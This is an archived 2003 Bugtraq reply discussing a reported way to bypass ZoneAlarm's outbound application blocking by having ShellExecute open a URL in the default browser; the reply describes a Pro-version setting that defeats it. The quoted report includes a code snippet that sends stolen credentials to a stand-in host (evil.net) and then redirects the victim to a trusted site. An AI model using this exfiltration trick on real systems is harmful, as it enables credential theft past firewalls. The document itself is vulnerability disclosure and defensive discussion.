Re: Bypassing ZoneAlarm (limited)

From: Dan Harkless (bugtraq_at_harkless.org)
Date: 06/24/03

  • Next message: SGI Security Coordinator: "Multiple IPv6-Induced Bugs & Vulnerabilities on IRIX"
    To: bugtraq@securityfocus.com
    Date: Tue, 24 Jun 2003 12:31:47 -0700
    
    

    <aceh@gyuvetch.bg> writes:
    > I don't know if this is a new issue but it is a simple way to
    > bypass (in some limited form) ZoneAlarm's Application level
    > Internet access blocking.
    >
    > Windows dll shell32.dll exports a well known and documented function called
    > ShellExecute. From Win32 Programmer's refference:
    >
    [snip]
    >
    > When the lpFile parameter is an Internet url, windows invokes Internet
    > Explorer (or more accurately - the default web browser), which in 99% of
    > the cases is allowed to access Internet, with that url. Example:
    >
    > ShellExecute(
    > 0,
    > "open",
    > "http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"
    > 0,
    > 0,
    > SW_HIDE //This doesn't work.
    > //I think it is supposed to hide the window but ...
    > );
    >
    > The collect.cgi (after storing stolen_username/stolen_password) could
    > redirect the user for example to
    > windowsupdate.microsoft.com,
    > so that many users will not even suspect anything.
    >
    > The info leaked is limited by the maximum allowed url length, but that
    > could be more than enough for a malicious application to send some
    > username/password/cookie/cc_number info to malicious server.

    This is also of course an issue for network-level firewalls. Allowing
    outgoing traffic only on well-known ports such as 80, 443, etc. is to a
    large extent false security, since there's no reason a trojan or other
    malicious program can't utilize those ports and protocols.

    > This was tested on ZoneAlarm 3.1.395 (freeware) but i guess that all
    > versions can be tricked if the user has granted access to his default
    > web browser by default (very likely)
    >
    > VENDOR STATUS:
    > I thing that this is flaw in the core design of ZoneAlarm
    > (and/or Windows) and don't see a way it can be fixed.

    ZoneAlarm Pro (the pay version) has an additional feature which defeats
    this. You need to turn on "Advanced Program Control", either by setting the
    "Program Control" slider to "High" (meaning you'll have to OK every Internet
    access by a DLL as well as by a program's core code) or by leaving it at
    "Medium" and clicking "Enable Advanced Program Control" on the "Custom"
    dialog.

    What that feature does is require your permission each time one program
    tries to use another to access the 'net. You'll get a popup like:

        Do you want to allow MaliciousTrojan.exe to use Internet Explorer to
        access the Internet?

    > WORKAROUND:
    > Do not allow ANY application to access Internet by default and
    > review each request separately.

    Way too impractical to even consider.

    --
    Dan Harkless
    bugtraq@harkless.org
    http://harkless.org/dan/
    

  • Next message: SGI Security Coordinator: "Multiple IPv6-Induced Bugs & Vulnerabilities on IRIX"

    Relevant Pages

    • Re: Sign In problem with MSN Messenger 7.5 (Build 7.5.0311)
      ... lists the Programs that the firewall is allowing or blocking. ... Remove it from the Program Control ... >>> I am told I either have no internet connection (wrong! ...
      (microsoft.public.windowsxp.messenger)
    • NIS 2004 A remote system is attempting to access your computer
      ... Program Control ... A remote system is attempting to access your computer. ... alerts from different ip addresses each time then Norton Internet ...
      (comp.security.firewalls)
    • Re: win32
      ... computer) being unable to run due to lack of access to the Internet, I'd say leave it as default. ... In plain English, if there is another executable using it, such as winsvc32.exe, ntspcv.exe, etc., then it's malware using the Host Process. ... In my Firewall settings for Program Control I have ... I have received messages “Generic Host Process for Win32 services was blocked from accessing the Internet”. ...
      (microsoft.public.windowsxp.newusers)
    • Re: no internet access after installing Zone Alarm
      ... Begin by opening the ZA screen and clicking on "Alerts and Logs". ... If you *do* find what I've mentioned, go to the Program Control ... > have since been unable to access the internet. ...
      (microsoft.public.windows.inetexplorer.ie6_outlookexpress)
    • I think I have been hijacked.
      ... I am running windows xp on my Compaq Presario and Toshiba laptop, ... An internet connection appears to have been added through a USB. ... R - Registry, StartPage/SearchPage changes ... Fixed crashing bug on certain Win2000 and WinXP systems at O23 listing ...
      (microsoft.public.windowsxp.security_admin)